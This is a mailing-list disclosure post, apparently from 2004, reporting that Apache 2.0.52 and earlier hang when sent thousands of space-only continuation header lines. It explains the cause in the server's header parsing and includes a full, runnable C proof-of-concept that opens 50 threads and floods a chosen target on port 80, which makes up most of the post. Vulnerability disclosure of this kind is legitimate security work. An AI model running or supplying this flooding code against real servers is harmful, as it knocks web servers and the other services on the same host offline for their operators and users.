[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <a62f45480411010157571febcc@mail.gmail.com>
From: chesschintan at gmail.com (Chintan Trivedi)
Subject: DoS in Apache 2.0.52 ?
Hi,
I was doing some testing on Apache webserver ver 2.0.52 (unix) and
previous versions. Just found that a special type of request consumes
lot of CPU usage and hangs the webserver. It even hangs other services
like ssh, ftp ..
For Apache 2.0.52 a request like
GET / HTTP/1.0\n
[space] x 8000\n
[space] x 8000\n
[space] x 8000\n
.
.
8000 times
consumes a lot of cpu.
I created 25 threads (connections) and send the above request to one
webserver. After just 2-3 minutes of flooding, the server wasnt able
to fulfill any http requests. Even ssh and such other services well
also hanged up. The time required for the attack was just maximum 5
minutes.
I am not sure whether it is a valid DoS or not. Replacing the <space>
with any other char will break the connection just after a few
lines(130 or so) of header. Checking the
httpd-2.0.52/server/protocol.c file i see the code for the mime
headers. It checks for the first char of the header. If it is a "space" it
considers it as an extension to the previous line header. The problem
seems to be similar to the advisory published by Guninsky few weeks
ago -> http://www.guninski.com/httpd1.html thought its a bit
different. That fix was for the long request field header when the
header line is extended in the next line using space.
Well i guess 8K limit for the number of headers filled with spaces is
quite huge. Its enuf to DoS the server using a few threads.
You can check the attached C file to test it. The file is compiled on
windows system using VC++ 6.0.
-----------------POC----------------------------
/// Apache 2.0.52 and earlier DoS
#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")
DWORD WINAPI attack(LPVOID);
char target[256];
int main(int argc, char* argv[])
{
int l=0;
int j;
DWORD dw;
HANDLE hd;
if(argc<2)
{
printf("usage: %s target", argv[0]);
exit(0);
}
strncpy(target, argv[1], 256);
printf("Attaching %s ...\n", target);
for(j=0;j<50;j++)
hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);
for(j=0;j<50;j++)
WaitForSingleObject(hd, INFINITE);
printf ("done");
return 0;
}
DWORD WINAPI attack(LPVOID l)
{
int s;
SOCKADDR_IN sck;
HOSTENT *host;
char buff[256];
char space[8000];
int i;
WSADATA wsadata;
WSAStartup(MAKEWORD(1,1),&wsadata);
memset(space, ' ', 8000);
space[7998]='\n';
space[7999]='\0';
if((host=gethostbyname(target))==NULL)
{
printf("Host not found");
return -1;
}
sck.sin_family = PF_INET;
memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
sck.sin_port = htons(80);
if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
{
printf("Socket couldn't be initiallized");
return -1;
}
if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
{
printf("Couldn't connect");
return -1;
}
sprintf(buff, "GET / HTTP/1.0\n");
//printf("%s",buff);
int len=strlen(buff);
if((send(s,buff,len,0))==-1)
{
printf ("send error");
closesocket(s);
return -1;
}
for(i=0;i<9999;i++)
{
if((send(s,space,strlen(space),0))==-1)
{
printf("Send Error on header number %d", i);
closesocket(s);
return -1;
}
}
closesocket(s);
return 0;
}
------------------------------------------------
Powered by blists - more mailing lists